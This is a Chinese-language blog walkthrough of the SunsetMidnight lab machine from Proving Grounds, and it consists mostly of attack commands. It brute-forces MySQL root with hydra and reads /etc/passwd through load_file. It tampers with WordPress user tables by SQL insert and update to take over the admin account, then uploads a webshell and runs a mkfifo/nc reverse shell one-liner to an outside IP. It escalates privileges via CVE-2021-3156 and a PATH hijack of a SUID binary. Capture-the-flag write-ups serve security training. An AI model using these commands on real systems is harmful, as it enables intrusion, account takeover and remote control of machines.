Proving Grounds Play : SunsetMidnight Walkthrough
Proving Grounds Play : SunsetMidnight Walkthrough
Foothold :
- 網站是個 Wordpress,但沒有帳號密登入
- 後續 MySQL 用 hydra 爆破成功並登入
- 新增一個 Wordpress 使用者並把 admin 使用者的密碼改成跟該使用者一樣
- 使用 admin 與自己設定的密碼登入 WordPress 再透過 plugin 成功獲取初始進入點
- 第二種方式是將新建立的使用者賦予 Wordpress Administrator 的 Role
- 第三種方法是連使用者都不用建立,直接修改 admin 的密碼即可
PE :
[+] [CVE-2021-3156] sudo Baron Samedit 標準利用
WriteUP 查看 status 指令是列出 SSH service 狀態,使用了 service 指令
自建一個 service 檔案建立 bash,然後環境變數宣告到指定的路徑
利用 status 後成功提權
第一步 rustscan,└─$ rustscan -a 192.168.246.88 --scripts none --ulimit 5000 | tee rustscan
nmap,└─$ sudo nmap -sCV -A -p 22,80,3306 192.168.246.88 | tee nmap
80/tcp open http Apache httpd 2.4.38 ((Debian))
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
MySQL test
add "sunset-midnight" to hosts file
80 /
80 /wp-admin
└─$ curl -s -X GET 'http://sunset-midnight/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u
wpscan,└─$ wpscan --url http://sunset-midnight/ -e vp --plugins-detection mixed --api-token <API Token>
check wordpress uploads folder,http://sunset-midnight/wp-content/uploads/
目前看來都沒啥戲,前面有看到 root 登入 MySQL 沒有檔 IP 但預設的幾個簡單密碼都不能用
嘗試暴力破解看看,先使用快速密碼檔 fasttrack.txt
└─$ hydra -l root -P ./fasttrack.txt mysql://192.168.246.88 -V
沒有結果
改用 rockyou.txt 試試看,└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.246.88 -V
啟動 dbeaver,測試連線看來沒問題
wordpress DB 的欄位
看來只有一個使用者 admin,密碼 HASH "$P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/"
用 cli 的介面結果一樣
hashcat mode 400
破解看看,└─$ hashcat -m 400 admin.hash /usr/share/wordlists/rockyou.txt
結果破解不出來.........
換個思考方式,現在看來是擁有 MySQL 最大權限的 root
直接讀 /etc/passwd 看看,select load_file('/etc/passwd');
可以正常讀到,使用者僅有 jose
讀讀看 id_rsa,select load_file('/home/jose/.ssh/id_rsa');
看來沒有該檔案
select load_file('/home/jose/.ssh/id_ecdsa');
select load_file('/home/jose/.ssh/id_ed25519');
這兩個檔案也沒有
直接先看看 authorized_keys 在不在
select load_file('/home/jose/.ssh/authorized_keys');
看來也沒有所以不是這個方向
嘗試 local.txt & proof.txt 也沒有消息
改換一個思考,自己塞一個使用者與密碼到 wordpress 裡面
INSERT INTO wp_users(ID,user_login,user_pass) VALUES(2,"aries",MD5("passwd"));
看來有成功塞入
使用者 aries 的密碼是 "passwd" 轉換成 MD5 HASH 是 "76a2173be6393254e72ffa4d6df1030a"
下一步不是用 aries:passwd 去登入,因為該使用者不是 admin role 所以沒權限
故下一步有兩條作法,看是將 aries 使用者提升為 admin
或是將 admin 的密碼換成跟 aries 一樣,先做第二個
update wp_users set user_pass="76a2173be6393254e72ffa4d6df1030a" where ID=1;
然後再 select 看看,看來密碼是一樣了
登入看看
成功登入了
直接上傳 websehll.php
在 uploads 可以看到
whoami OK
標準作業 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.200 4444 >/tmp/f
Reverse Shell 進來了
獲取 local.txt
在 wp-config.txt 裡面發現另外一組 DB 連線資訊
jose:645dc5a8871d2a4269d4cbe23f6ae103
su jose 使用該密碼成功切換使用者到 jose
SUID check
有個特別以前沒見過的 /usr/bin/ststus 但 GTFO 沒有利用點
sudo -l
cat /etc/crontab
執行 linpeas.sh
看到熟悉的 [+] [CVE-2021-3156] sudo Baron Samedit
直接提權利用成功 root,獲取 flag
補充 :
創建 aries:passwd 有另一條就是將該使用者提升為 admin role
來實踐看看,將機器重置確認使用者 aries 已新增但密碼還沒有改
使用者的腳色定義在 wp_usermeta table 中
先看一下現有的欄位共有四個
看一下現有內容
語法 : insert into wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL,'2','wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'), (NULL,"9000",'wp_user_level','10');
主要就是新增 24、25 兩個值
測試看看
一樣成功了,點選 Users 確認角色是 Administrator
看了一下 WriteUP,手法是直接將原本的 admin 的密碼改成了 admin
補充 2 :
在 linpeas.sh 針對 /usr/bin/status 特別又跳了紅字
看一下內容
直接執行看看,看來是將 SSH 服務的狀態列出
strings 看一下內容,看來去列出 SSH 服務的 status 時執行的命令是用
service ssh status
那就利用該行指令
在 /tmp 底下建立一個 service 檔案,內容寫入 /bin/sh
echo "bin/sh -p" > service
然後修改 service 檔案為可執行
留言
張貼留言